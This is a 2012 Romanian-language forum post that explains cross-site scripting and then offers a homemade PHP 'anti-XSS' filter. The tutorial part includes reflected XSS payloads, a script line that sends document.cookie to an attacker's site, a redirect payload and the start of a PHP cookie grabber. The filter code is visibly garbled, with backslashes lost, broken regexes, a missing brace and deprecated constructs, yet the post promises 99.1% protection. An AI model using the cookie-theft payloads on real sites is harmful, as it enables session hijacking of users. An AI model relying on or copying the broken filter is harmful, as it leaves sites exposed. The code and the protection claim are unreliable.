Guest Mecanik Posted December 4, 2012 Share Posted December 4, 2012 Salutare tuturor! a trecut ceva timp de cand nu am postat ceva,dar acum ca am ceva timp liber,am zis sa mai dau o mana de ajutor! Anti XSS Script CUSTOM by Mecanik + Descriere! 1. Ce este XSS? XSS (Cross Site Scripting) este o vulnerabilitate foarte întâlnita în aplicatiile web ce permite utilizatorilor sa injecteze cod javascript în pagini web ce pot fi vizualizate de ceilalti. Cu ajutorul acestor coduri javascript se pot fura cookie-uri, se pot trece de filtrele de securitate, se pot face redirectionari catre alte pagini web pentru phishing. Vom vorbi despre toate acestea pe parcursul articolului. Vulnerabilitatile de tip XSS sunt exploatate înca din anii '90. Timp de 20 de ani, acest atac a afectat multe site-uri mari precum Google, Yahoo!, hi5, Facebook, MySpace, Tagged s.a. 2. Tipuri de XSS Exista doua tipuri de Cross Site Scripting. [2.1] XSS nepersistent În primul rand este XSS-ul nepersistent (sau reflectat), ce se foloseste în formularele de tip HTML (HTML forms). Spre exemplu, luam un site la întamplare care are un formular de cautare în el. Sa scriem spre exemplu cuvantul "test" în formularul de cautare de pe acel site. URL-ul va fi de genul urmator: http://unsite.ro/cauta.php?src=test Bun, deci cautarea se face prin GET. În loc de test vom adauga un cod javascript simplu, si anume alert. http://unsite.ro/cau...cript>alert(xss')</script> Browserul va arata o casuta în care scrie xss. acum, în loc de 'xss' vom pune document.cookie. acesta este defapt cookie-ul tau de pe site. http://unsite.ro/cau...document.cookie)</script> De aici, se poate crea un cookie grabber pentru a fura cookie-urile utilizatorilor. Vom vorbi despre asta putin mai tarziu în articol. [2.2] XSS persistent În al doilea rand este XSS-ul persistent (sau retinut), ce este mult mai rau decat XSS-ul reflectat. acest tip de XSS este memorat în site si este accesibil oricarui utilizator. Cel mai frecvent am observat ca acest tip de XSS se regaseste în site-urile ce memoreaza ultimele cautari alte utilizatorilor. 3. Cum se exploateaza un XSS? Cum apare un XSS? Un XSS apare din cauza nefiltrarii (sau filtrarii proaste) a codului. aveti mai jos un exemplu de nefiltrare al XSS-ului <html> <head> <title>Vulnerabilitate XSS</title> </head> <body> <form action="index.php" method="get"> <input type="text" value="codul tau aici" name="cauta"> <input type="submit" value="cauta"> </form> <?php $get = $_GET['cauta']; echo $get; ?> Pentru a exploata un XSS, trebuie în primul rand sa ai notiunile de baza despre Javascript. [3.1] Furtul de prajiturele XSS-ul este folosit în principal pentru a fura prajiturele (cookies). Pentru asta, se foloseste document.location sau window.locationpentru a redirectiona victima catre un cookie grabber (despre care discutam imediat în articol). Codul este urmatorul: <script>document.location="http://www.siteultau...ookie;</script> [3.2] Redirectionarea catre alta pagina Codul este aproximativ la fel, doar ca nu mai folosim document.cookie. acest cod este folosit deseori pentru furtul de date. <script>document.location="http://www.siteultau....php";</script> [3.3] Trecerea de filtrele de securitate acest tip de XSS este scris de obicei în bara de adresa. Spre exemplu, daca avem un INPUT care are valoarea maxima de X caractere, putem folosi comanda urmatoare pentru a scrie câte caractere vrem: javascript:document.getElementsByTagName('form')[0].NaME.value = "textul tau aici"; void(0); [0] = index-ul NaME = NaME-ul input-ului (ex: <input type="text" name="valoare">) Prin acest Javascript am dat de cateva XSS permanente în site-uri mari precum Yahoo! si hi5. 4. Cum se creeaza un cookie grabber? am discutat anterior despre furtul cookie-urilor. acum voi explica cum se face un simplu cookie grabber. În primul rand vom folosi functia $_GET pentru a prelua cookie-ul. <?php $c = $_GET['cookie']; ?>[/code] aceasta functie va prelua orice text ce vine dupa cookie=. Spre exemplu, daca avem [i]index.php?cookie=2dccd1ab3e03990aea77359831c85ca2, codul 2dccd1ab3e03990aea77359831c85ca2[/i] va fi preluat în variabila [b]$c[/b]. Îl vom memora într-un fisier .txt. [b]Bun,acum ca am inteles cat de cat ce este XSS,sa introducem scriptul facut de mine![/b] [CODE] //Anti XSS script code by Mecanik 2012 for Addicted2.ro[/size] //Do not Edit this script! function FilterHTML($string) { if (get_magic_quotes_gpc()) { $string = stripslashes($string); } $string = html_entity_decode($string, ENT_QUOTES, "ISO-8859-1"); // convert decimal $string = preg_replace('/&#(d+)/me', "chr(1)", $string); // decimal notation // convert hex $string = preg_replace('/&#x([a-f0-9]+)/mei', "chr(0x1)", $string); // hex notation //$string = html_entity_decode($string, ENT_COMPaT, "UTF-8"); $string = preg_replace('#(&#*w+)[x00-x20]+;#U', "$1;", $string); $string = preg_replace('#(<[^>]+[srn"'])(on|xmlns)[^>]*>#iU', "$1>", $string); //$string = preg_replace('#(&#x*)([0-9a-F]+);*#iu', "$1$2;", $string); //bad line $string = preg_replace('#/**()[^>]**/#i', "", $string); // REMOVE /**/ $string = preg_replace('#([a-z]*)[x00-x20]*([`'"]*)[x00-x20]*j[x00-x20]*a[x00-x20]*v[x00-x20]*a[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iU', '...', $string); //Javascript $string = preg_replace('#([a-z]*)(['"]*)[x00-x20]*v[x00-x20]*b[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iU', '...', $string); //VBSCRIPT $string = preg_replace('#([a-z]*)[x00-x20]*([]*)[x00-x20]*@([]*)[x00-x20]*i([]*)[x00-x20]*m([]*)[x00-x20]*p([]*)[x00-x20]*o([]*)[x00-x20]*r([]*)[x00-x20]*t#iU', '...', $string); //@IMPORT $string = preg_replace('#([a-z]*)[x00-x20]*e[x00-x20]*x[x00-x20]*p[x00-x20]*r[x00-x20]*e[x00-x20]*s[x00-x20]*s[x00-x20]*i[x00-x20]*o[x00-x20]*n#iU', '...', $string); //Exp[b][/b]ression $string = preg_replace('#</*w+:w[^>]*>#i', "", $string); $string = preg_replace('#</?t(able|r|d)(s[^>]*)?>#i', '', $string); // strip out tables $string = preg_replace('/(potspace|pot space|rateuser|marquee)/i', '...', $string); // filter some words //$string = str_replace('left:0px; top: 0px;','',$string); do { $oldstring = $string; //bgsound| $string = preg_replace('#</*(applet|meta|xml|blink|link|script|iframe|frame|frameset|ilayer|layer|title|base|body|xml|allowScriptaccess|big)[^>]*>#i', "...", $string); } while ($oldstring != $string); return addslashes($string); function format_db_value($text, $nl2br = false) { if (is_array($text)) { $tmp_array = array(); foreach ($text as $key => $value) { $tmp_array[$key] = format_db_value($value); } return $tmp_array; } else { $text = htmlspecialchars(stripslashes($text)); if ($nl2br) { return nl2br($text); } else { return $text; } } } function anti_xss() { global $wbv; $p = parse_url($_SERVER['HTTP_REFERER']); $p = $p['host']; if($p > $_SERVER['HTTP_HOST']) { if($_POST) die($wbv['global']['start'].'<b><font color="red">Warning! XSS attack!</font></b>'.$wbv['global']['end']); if($_GET) die($wbv['global']['start'].'<b><font color="maroon">Warning!! XSS attack?</font></b><br>Confirm transition: <a href="'.$_SERVER['REQUEST_URI'].'">'.$_SERVER['REQUEST_URI'].'</a><script language="Javascript">window.location=''.$_SERVER['REQUEST_URI'].'';</script>'.$wbv['global']['end']); } } // Turned On if(isset($_SERVER['HTTP_REFERER'])) { anti_xss(); } [/code] Salvati acest cod ca antixss.php,pe urma includeti in fiecare pagina pe site-ul vostru(sau doar in index in unele cazuri) cu[b] include_once('antixss.php');[/b] Garantez o protectie 99,1% cu acest script! Va este oferit GRATIS,atat timp cat nu il modificati,stergeti Creditele,sau sa va declarati ca autorul lui. Have Fun![/size] 1 Link to comment Share on other sites More sharing options...
Recommended Posts